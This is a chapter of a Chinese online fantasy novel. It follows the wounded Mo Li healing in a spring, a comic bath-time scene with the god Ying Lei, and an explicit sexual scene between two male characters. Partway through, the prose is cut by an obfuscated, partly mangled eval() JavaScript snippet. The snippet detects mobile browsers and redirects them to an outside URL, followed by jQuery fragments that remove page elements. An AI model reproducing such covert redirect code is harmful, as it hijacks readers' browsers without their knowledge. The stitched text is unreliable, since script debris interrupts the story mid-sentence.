可陌离并不在乎,好似根本就没发生过这回事。只是淡定的抬起右手,优雅地抹去自己嘴角的血渍。 在看到自己右手拇指上,因擦拭而留下的鲜血痕迹,不由狂笑出声。 那双漂亮的水青眸内,涌动着被释放而出的疯狂与莫名其妙的兴奋,嘴角噙着的柔笑,看似温和,实则冷得让人不寒而栗。 转过身来的人,嘴角边与下巴上,还残留了几滴没被擦干净的血珠。 红的血,沾在白的肤上,美得惊心动魄。 陌离朝站在对面,正一脸愤怒的星月,歪头一笑,淡淡一说:“有趣。” 星月的瞳孔骤然一缩,脸色变得格外难看,藏在袖内的指甲,不由深深陷入掌心,莫名将手掐得通红。 疯子!又是一个疯子! 鲜血染红了陌离的白齿,配上他那张漂亮又邪魅的脸,就像是一扇不断.引.诱.着好奇的人去打开的禁门,让人想要探索却又恐惧得只能停下脚步。 一道冰冷的声音莫名响在耳边:“杀了——” 56.我的小观音(四更) ‘杀了’,好言简意赅的两个字。 明明是凶残暴戾的杀令,却硬是被这人平静得毫无波澜的嗓音说得好似寻事,仿佛根本不是什么生杀予夺的大事。 星月一听,没有理会这道声音,只是好看的眉,顿时皱得更紧了。 “陌离,这么久没见...”星月将自己脸上的愤色收了收,望着他的眼神淡淡的,连说话的语气,也淡淡的,“你变弱了。” 陌离一听,不怒反笑,只是眼底深处的疯狂不减半分,“是吗?那又如何?” 被星月神弓劈断成两截的苍穹长枪,被陌离重新召唤出来,立在他掌心之上的长枪,不仅恢复成原样,还瞬间化作一把几米高的水青巨弩。 水青巨弩之后,半空之中,缓缓出现一道柔和又耀眼的青光,由虚到实,由糊到清。 是一尊数百米高,男生女相的水青观音。 水青观音身坐冥犬,紧闭的眼眸缓慢睁开,柔若无骨的手,轻轻抬起,下一刻便搭上了那把水青巨弩,拉开了它。 陌离嘴角的笑被他瞬间敛起,带着势在必得的杀意,冷言一说,“杀你,也足够了,不是吗?” 观音松手,空弩放箭,无形的隐力化作有形的冰箭,朝着星月铺天盖地射去。 已被陌离伤到根本的星月,翻身一跃,一上一下,一左一右,不断来回跳蹿着躲箭,速度快到只剩下残影。 没几下就有些力不从心的星月,转念一跳,召出星月神弓,神弓伺机被抛向半空,活生生将半空砸开一道口子。 丝毫不恋战的她,翻身掌弓,拉弓一放,七彩光箭再一次毫不犹豫朝陌离反击而去,挡下水青观音朝她射去的那只最大箭矢。 嘭的一声巨响! 尘土飞扬,巨石纷落,水青观音将陌离,紧紧护在身下。 待到尘灰消散,陌离缓缓走了出来。可对面的位置,早已空了去。 星月,不见了。 一大口血喷洒在地,陌离跪倒在地,捂住心口的手有些颤颤巍巍举到跟前,掌心沾到的血,涌出滚滚黑气。 “没杀死星月,倒把自己...弄得复发了...” 陌离嘴角露出一个有些悲凄又自嘲的笑,收起了自己的手,收起了苍穹长枪和观音隐身,动手将在场的一切恢复回原样。 伸起的指尖,飞出一只青鸟,不知飞到了何处。而他,则是拖着残破重伤的身子,回到九幽。 陌离没回鬼愁小阁,也没去落鬼长宫,而是去了在聚魂鬼海后的另一处禁地。 伸手不见五指的四周,在陌离踏入的瞬间,一点点亮起昏黄赤红的淡光,顺着他沉重的步伐,慢慢亮起。 在陌离快倒下时,一双柔若无骨的手先行伸了过来,搂住了他。 “少主...”花嫫那张漂亮得分不清楚性别的脸上,此刻愁云片片,连忙给陌离把起脉,一脉,脸色更差了,“复发了...” 陌离冲他摇了摇头,露出一个反安慰它的表情,摸了摸它的头:“我没事。你知道的,我是不死之身,就是...咳咳...” 咳了好一会后才停下的他,有些无力一笑:“...咳咳...就是有点疼而已...” 只要隐心在,他就不会死,这便是他的秘密。 花嫫顿时就难过得泪眼汪汪,“少...少主...我给你加药去...你先躺躺...”一边说着,一边把陌离扶到一旁的榻上,躺了下来。 这处藏在聚魂鬼海后的禁地,本该昏暗无光的深洞,此刻燃起昏黄赤红的淡光,将高悬着的轻纱,照得格外旎旖。 水滴从头顶形状奇特的鬼墨石缝隙里,沿着石柱子滴落,在寂静的泉穴里,响得格外明显。 陌离躺着休息的地方,铺着红织锦绫的软榻之上,帷.幔.低垂,薄纱飘摇。青玉长桌之上,一盏紫檀玉螭炉盏内烧着樨香,散出淡淡的白烟,让他紧皱的眉心,稍微舒缓了几分。 往里走,正中央是一口状似眼睛的巨大泉池。 不断往外冒着热气的泉池,被无数红到滴血的曼沙珠华,深深包裹着。 池子的中间,幽黑得不见底,四周却湛蓝到天青,晶莹剔透,一圈又一圈的青裹着蓝,就像一只邪恶的恶鬼竖瞳。 这口泉,是万年不熄的佛生泉,九幽鬼族历来洗骨换髓,镇压鬼气邪祟的魂池。 花嫫来来回回跑了好多趟,搬来了如同小山似的天才地宝,弄出了好大的动静,可软榻上睡了过去的陌离,丝毫没被吵醒。 忙活了大半天,终于把药都倒进泉池的花嫫,揩了揩眼角担心的泪花,小心翼翼靠近了陌离,轻轻唤了他一声:“少主,弄好了。” 睡了过去的人,并没听到他的呼唤。花嫫又再唤了几声后,陌离终于才睁开了眼。 带了惺忪睡意的眼,带了初醒的迷蒙。 陌离没有说话,过了好一会后才点了点头表示知悉,嗓子也有些哑:“好。” 陌离起身,走向那不断冒着热气的泉池。 花嫫见状,走上前去:“少主,奴家帮你吧。” 它刚想伸手,就被陌离开口拒了:“不用了。我自己来。” 衣物落地,漂亮的春色映入眼中,让一旁守着的花嫫瞧了不由一愣,小脸暗自微微发烫起来。 踏入泉池,佛生泉的水,逐渐由腿部往上浸漫,漫过腰肢,淹过心口,涌向两道长疤伤口。 陌离不由双眉紧皱,发出一声痛闷。 其实,星月伤他的那一箭,并没有下死手。 星月神弓根本伤不了陌离的不死之身,他心口的箭伤,早已自动愈合。 他疼的,并不是星月的那一箭,而是原本在心口处,还有腹部的伤疤。 伤口,越来越疼了。 不应该的。 一股古怪又诡异的黑气从泉水中涌出,是从陌离身上的两道伤口溢出的。 花嫫一看,顿时惊慌失色尖叫起来:“少主,你的伤怎么变严重了!佛生泉的泉水,对你失效了吗...” 一滴又一滴的冷汗从陌离额头落下,滑过被水打湿的发梢,有些虚弱开口,“别...别告诉净渊...” “你先下去吧,我自己呆一会。” “可是...”花嫫还想继续追着问,但看到陌离着实难受,也闭上了嘴,乖乖退了出去。 ... 大荒槐江谷内,从槐谷小室离开的男人,并没及时离开,而是走到了庭院内,对着院中那棵开得正璀璨的桃花树,看得正出神。 微风一吹,一朵粉白桃花从枝头飘落,男人伸手接住了它。 那双灵白眼眸里,没有一丝情绪:“早说了,杀了。” 掌心一合,漂亮璀璨的桃花瞬间化作粉末,随风而落。 男人朝前缓慢走去,一阵灵光自上而下打落在他身上。下一秒,他整个人就消失在槐谷,不见踪影了。 而昆仑山小居那一边,才几日不见,就肉眼可见憔悴了好几分的英磊,顶着一双比鬼还要黑上许多的黑眼圈,浑身写满了带娃怨气,正在院子里,坐在吱吱呀呀的小板凳上,拿着大帕子给排在他身后长队的槐精们,搓.澡... “英磊山神大人,衣服...穿反了...”槐精巴眨着大眼睛,一脸无辜望着他,又伸手捋了捋被英磊弄得乱七八糟的头发。 英磊抬起头,眼神哀怨又十分委屈:“成,本山神...再给你重新穿一个...” 本来,身为大荒的山神,帮这群小娃娃们洗个澡冲个凉儿这件小事,英磊动动小手指就能轻易解决的事情。 但这些靠朱厌妖力才勉强化出人身的槐精们,动不得一点法术,受不了一点神力,英磊只好手动给它们一个个洗干净了。 英磊歪头探身,看向眼前槐精的身后,那一条已经排到门口,等他给洗漱换衣的超级大长龙,只觉得两眼一黑! 他怎么觉得自己是在给朱厌打黑工呢?!还是免费干活不给工钱的那一种呢?! 可恶!这对可恶的大荒夫夫!!邪恶的白猴子!!! 英磊送走了一个被他洗得香喷喷的槐精,看到又走上来的一个,下意识一问:“你是第几个小槐了啊?” 槐精听到他的问题,发呆了好几秒后,伸出自己的小肥手,比得乱七八糟的,一会三一会五一会七一会十的,最后才用着小奶音回着英磊的问题:“小...小山神...大人,我是...第十八个小槐...山神大人,要帮我洗...洗干净哦...” 说着说着,还咧开了一个很傻又缺了一颗牙的笑,头上那一朵花还一动一动的,瞬间就把英磊都逗得笑出声了,心情又好起来了! 洗到一半,槐精又提出了他的第十个要求:“大...大人...要洗耳朵的...妖后大人...有洗的...” 听到朱厌的名字,心情刚恢复的英磊,瞬间又觉得愁云遍布了,一下子就拉下脸,板起脸来,装出一副很凶的样子:“不准提朱厌...不然...咔嚓咔嚓你们!” 说完,还朝槐精比出一个剪刀的手势,吓得正让他洗着的槐精,大眼震惊,又肥又短的小手手,顿时捂紧自己的小.居.居! 还在等着给英磊洗的槐精长龙们,一听这话,被吓得顿时就跟无头苍蝇一样,瞬间左一个跑右一个跳的,一个个都消失不见。 英磊一抬头,门前只剩下一堆被微风吹得乱飞的枯叶子... 啥呀...他就随便说说,怎么可能咔嚓别人的居呢?! 他说的咔嚓咔嚓,是指要剪这群小豆丁们头上那些枯萎的槐花残叶!!不就是帮它们理个发吗,至于吗?! 他英磊,好歹也是堂堂大荒威风凛凛的山神大人,这群由朱厌养出来的槐精们,怎么个个尽学到朱厌那些奇奇怪怪的性子,这是把他当作什么不正经君子吗?! 可恶!他要把这笔帐,记在朱厌头上!! ... 水青色的眸,缓缓睁开,带着一抹罕见的脆弱。 陌离有些难受地往池子边上,后仰了仰发昏的脑袋,起.伏.不定的胸.膛.上,心口上那一道狭长的疤痕,在泡过泉水后,在白到透的肌肤上,显得格外扎眼。 在佛生泉里硬生生泡了一个多小时,他终于把伤口上蔓延着的黑气,稍微压制住了。 休息片刻,缓过神后的陌离起身,从泉里走上了岸,朝右手边的小远处走去。 正想取过边上花嫫备好的衣物,可当陌离瞧见一旁那一块巨大铜镜中的自己时,拿衣的指,顿然一停—— 巨大的铜镜前,照出镜前人的身躯。 妖艳的脸,滴水的发,修长的腿,挺直的身,漂亮的腰,还有,性.感.的.腹.线... 陌离看着镜中人,本该同常人一般光洁无暇的身子,心口中央有一道蜿蜒的长疤,再往下望去,平坦的腹部也有一道一样显眼的长疤。 食指不由触上了自己腹部那一道显眼的长疤,微微崎岖不平的触感,让陌离有些懵然。 花嫫同他说过,这两道伤口,都是寒煞匕留下的伤口,永不愈合。 可是,到底为何有这两道伤,花嫫不肯说,净渊不愿提。而他,丝毫不记得一切。 “若是可以...”摸着长疤,陌离那双水青色的眼不由一暗,低声喃喃自语着,“回到过去...” 那么,所有他一直苦无答案的问题,都可以得到迎刃而解。 “陌陌。”一道温热的高大身躯,忽然从身后凑近上来,贴上他的后背,将他搂在身前。 比陌离高了一个头多的净渊,一身素黑寝衣,坚实的手臂穿过怀里刚从池中上来的人的肩,将他搂住。 随他指尖一动,身前人那一头还一直往下滴水的长发,顿时一干,随意散落在身后。 “怎么了...”净渊低下头,温热的唇落在怀里人圆润的肩处,顺着他漂亮的锁骨不停往上,最后落在那还残留水珠的侧颈上,“在想什么呢...” “净渊,我...”陌离刚想转身回话,却被身后人一把压到镜子前。 温热的身躯被推着碰到冰凉的镜面,让陌离的身子激灵一颤。 下一刻,净渊低头一凑,强行撬开紧闭的齿,溜进口的滑软搅动着带来暧昧的水渍微响,随着后方池内来回涌动的泉水,一块响彻着... 就在陌离觉得自己快喘不过气来时,净渊却忽然松开了他。 陌离还没反应过来时,指尖抢先一步抹走他嘴角暧昧的银丝残渍。 净渊忽而伸手,莫名其妙将陌离整个人翻了过去。 看不见身后的净渊,可陌离却很明显感受到他此刻隐隐约约的暴躁与不安,不由出声安抚着他的狂躁:“净渊...” “嘘...别说话...”净渊低头,含上了火热的耳.珠,撕.咬.着他的耳,情绪有些急躁,但更多是不安,“...陌陌...小观音...” 密麻又紧凑的吻,从敏感的耳朵开始游离,最后停在残留了些许泉池水雾的侧颈。 那只温厚宽大的手,毫不客气地继续往下探索着,滑过挺直光滑的后背... 陌离眉心一皱,不自觉咬了咬自己的下唇。 这人...怎么...那么会折磨人呢? 带着微茧的指,流连于柔软的门,像一位诚心拜访的人,礼貌地敲打着这一扇门。 可是,这人又很没礼貌,在还未得到主人首肯之时,便先行闯了进去,滑入了小径。 这条径,就像是烈日高阳暴晒下的地面,突如其来下起的一场倾盆大雨,干燥的小径因来人的踩踏而被刺激得泥泞又潮湿,滚烫又灼人,夹着雨的湿,还有日的烫。 被磨得难受的他,终究还是情不自禁让声儿溜了出来,后仰起的脖颈昭告着他想要逃离。 可身后的人的手,照旧死死卡着他的身,按得他无法动弹半分。 微茧的硬在滚烫的软里化开,无阻畅游着在小径上,出出进进,快快慢慢,停停走走。 被眼前人的大手不断来回探索着,陌离的身子止不住的颤着,支在铜镜上撑着全身重量的手,留下的水印更浓了。 身后人的大手,在四肢百骸之间,游离得愈发频繁;而身前人的胸膛,也在被探索拜访之间,起伏挣扎得更加厉害了。 “小观音...”净渊亲了一下陌离的侧脸,温热的气息带着浓情的低哑,喷洒在耳窝与锁骨之间,挠得陌离忍不住侧头躲了躲,“我的小观音...” “...闭...闭嘴...”陌离强行睁开迷情的眼,别开了早已红穿热透的脸。 每次只要这人如此喊他,定是不怀好意,道心不正! 想着先发制人的他,先一步开口:“不...嗯...不许...玩...玩花样儿...不行...” 埋在他脖颈的人,被他逗得低声一笑。 布满磁性的声音,通过陌离肩上的锁骨,传入他的耳内,让他颤了又颤。 净渊手上的动作依旧没停,容不得陌离躲避半分。 手落在最敏感的位置,搅得眼前人身子不由一顿。 “小观音...”他含笑着再次咬上陌离的.耳.珠,亲了亲他微湿的额角,语气透着一股不正经,低笑着调侃怀里人,“...你湿了...” 像是想到了什么,净渊又莫名其妙暗自轻笑了一声,淡淡的,轻轻的。 “你说...”火红的耳.珠.子被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797127|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人蛮横地叼.咬.住,净渊哑得低沉的嗓眼冒出的滚.烫.热.息,不断冲击着陌离敏感的耳,“湿了身,堕了魔的观音...他还是高高在上,纯洁无暇的观音吗...” 陌离挣扎着想躲,却反而勾得那微茧的指,没礼貌地闯得更深了,“嗯...你别...” 本来就被这泉池四周不断腾升的热雾熏得头晕目眩的人,小脸红得都快滴血了。 “你...啊!” 骤然消失的空,被猝及不防的满,填了个彻底。 尾骨脆弱的颤震,像是瞬间被人强行打通,横冲直撞到敏感的天灵盖。 陌离越发觉得,净渊这只万年死鬼,就像一汪洋狂浪,掀得他狂风暴雨,一片狼藉。 那些想训斥痛骂的话语,到了嘴角的最后,全都无奈得转了调儿,成为令人遐想的.猫.吟... ... 普方大殿里,热雾弥漫的沐桶里,泛着涟漪水波的水面,铺满了疗伤的药花。 是陌离吩咐花嫫,专门给朱厌治伤疗养用的。 泡在水里的朱厌,被水弄湿的手,指尖不断摩挲着眼前那枚微微变色的长命锁。 低垂的眸,让人看不清他那双浅瞳里,到底装了什么情绪。 而一旁的桌上,摆在白玉长盘上的琉璃酒盅,清透的酒身,隐约折出里头晶莹剔透的淡黄。 依旧是陌离吩咐花嫫,给朱厌调理补身的药花酒。 这酒,温而不凉,入口甘醇。 这药花酒,得喝下一盅的量才有效,可朱厌却只喝了两小杯半。这会儿,连白玉瓷杯里都还剩下半杯,晾在那里。 而此刻,小小槐鬼正将这白玉瓷杯当作小澡盆子,悠哉地泡在里面,还来回划拉着泡。 上等暖玉雕刻而出的瓷杯,自带保温暖酒之效,让本来就温而不凉的酒,更暖了。 杯大大的,带着好玉的持温暖酒;酒又温温的,带着药草的特殊香气,熏得泡在里头的小小槐鬼,小脸红红的,身子暖暖的,整个人更是舒服得像一只正晒着暖阳的小猫咪一样,情不自禁眯了眯眼。 ... 佛生泉禁地里,轻纱飘飘,水深火热。 那面原本平平无奇的铜镜,不知何时,被净渊换成了送给陌离的那一面九幽冥镜。 巴掌大小的九幽冥镜,变成几人高的巨镜,将佛生泉的角角落落,一照无余。 “陌陌...乖,睁眼...”净渊密密麻麻的碎.吻,不断落在陌离高挺后仰而露出的颈上,“...很美...” 九幽冥镜中,因害羞而始终不肯睁开的陌离,被身后的净渊欺负得小脸通红,咬紧下唇,唯有脖上浮发的青筋,暗喻着他又痛又乐的隐忍,“你...闭...闭嘴...嗯啊...” 这变相的谩骂,倒是引得净渊低声一笑,将陌离翻身面向自己,单手搂着将他抱起。 无端的变故让接触更加深入与亲密,搅得人心怪天翻地覆的... “嗯...” 白皙的颈在空中猝及不防滑过一个漂亮的弧度。失了支撑的人儿,像一只莫名受惊的小兽,只好慌忙地扣紧眼前人的腰,生怕下一秒自己就被摔在了地上。 净渊单手抱着陌离,往身后的佛生泉走去。 累得都出不了声儿的陌离,双手无力勾着他的脖子,脑袋倒靠在净渊肩上,微睁的眸内因净渊而蒙上了一层厚厚的水雾,“做...做...什么...” “花嫫说,你身上的伤,又重了,我陪你泡泡。” 陌离暗自吐槽:可恶...他回头就用针儿,把花嫫的小嘴巴给缝上! 净渊抱着陌离,一块踏入佛生泉。 泉水刚碰上皮肤旧伤的瞬间,一声很微弱的痛闷,便从陌离喉间溢出。 净渊一愣,紫眸闪过一抹心疼,伸手撩开他被水打湿的发,很轻柔一问,“很疼吧...” 不过多时,陌离心口那一道狭长的旧日疤口,又泛起微微黑气。 佛生泉的水,正在洗涤着疤口的黑气,如同万蚁噬骨的痛,密密麻麻从心口和腹部的伤口,蔓延到陌离的四肢百骸上。 净渊手捧起陌离的脸,静静看着他。 手里人很乖,一声不吭地忍着。 心口那道狭长的旧伤,依然在不断往外冒着诡异的黑气。尽管在佛生泉水的洗涤下,虽有减淡了几分,可看起来,疗伤效果并不好。 陌离因忍痛旧伤而逐渐发白的脸色,疼得直颤的睫,不停哆嗦着的唇,像是一种无声的谴责,告诉着净渊那些痛苦的过往。 此时此刻,佛生泉的水,并不能减少眼前人的痛苦。 他的陌陌,因这两道永不愈合的旧伤,很疼。 净渊不敢再深想多思一分。 这两道旧伤,都已经过了几万年的时光了,陌离都还这么疼。 那要是重回到过去,回到几万年前的那一天,他的小观音,得有多疼呢... 心疼的泪,从净渊的紫眸眼尾,悄悄滑落。 这一滴泪,对于净渊来说,很复杂。是心疼爱人因伤的隐忍,是恼怒自己无法为其分担的痛苦,更是对自己无法帮到爱人的无助与悔恨。 像是怕被陌离看到,赶在他抬眸发现自己的难过前,净渊低头侧颈,先行吻住了他。 被动接住的吻,无意之中,化作了主动的迎合。 ... 发.软.的.腰,被净渊单手用力一搂。紧接着,泡在泉中的陌离,被他整个人提着,轻放到泉池的岸沿边上。 冰凉的青石与滚烫的躯体相触,让本就因.情.浓.而.颤.栗.不停的身体,抖擞得更厉害了。 净渊猛地支身,将双手撑在陌离坐的岸沿两侧,泉池的水流滑过紧实的手臂肌肉,重新回归到池里。 净渊的吻,落在了陌离眉心那一枚象征玄隐暗族之主的水青额印上,再移到陌离分不清是被池子热气熏红还是被净渊欺负狠的微红眼尾处,最后停在了陌离微微张合呼吸着的薄唇。 这抹温热的柔软,向下探去,莫名其妙地落在了陌离心口那道狭长的疤上,让他为之一颤。 在陌离准备开口之时,净渊又俯身,吻上了他小.腹.耻.骨.上几寸那一道久经未愈的长疤。 那个位置太敏感,敏感得让人浮想联翩。 当眼前人温软的唇,落到自己难以愈合的伤疤之时,陌离心头一颤,青眸里也随之涌起极为复杂的情绪。 泡在佛生泉里的净渊,坐在泉岸沿上的陌离,一高一低,水青的眸对上绛紫的眼。 陌离低垂着双眼,望着高抬起头,与他四目对视着的净渊。 居上的攻者主动居下,承下的受者被动掌上。 看似掌控着一切的人,实则才是那位被掌控的人。 陌离很不明白,为何每一次,净渊总爱吻他这道好不了的伤疤。 难道,他不觉得,很丑陋吗? 难道,他不觉得,很恶心吗? “...净...净渊...你...”陌离伸手抚上净渊抬高望向他的脸,喉咙有些酸涩,不由哽咽起来,“难道,不觉得...恶心吗...” 谁知,‘恶心’这词儿一出,净渊脸色一痛,突然很粗鲁又颇凶地伸手将陌离往怀里一拽,咬上那尽只会说出让他难过话的红润。 净渊堵住陌离的唇,紧抱着怀里人,连带着自己,噗通一声,两人双双一同淹没进佛生泉里。 在快被水淹得窒息前,净渊终于搂着陌离从水里冒了出来。 疯子!就是个疯子! 净渊把他护得很好,可陌离还是呛到了一些水,有些生气的他,轻咳着骂净渊:“净渊!你混蛋!”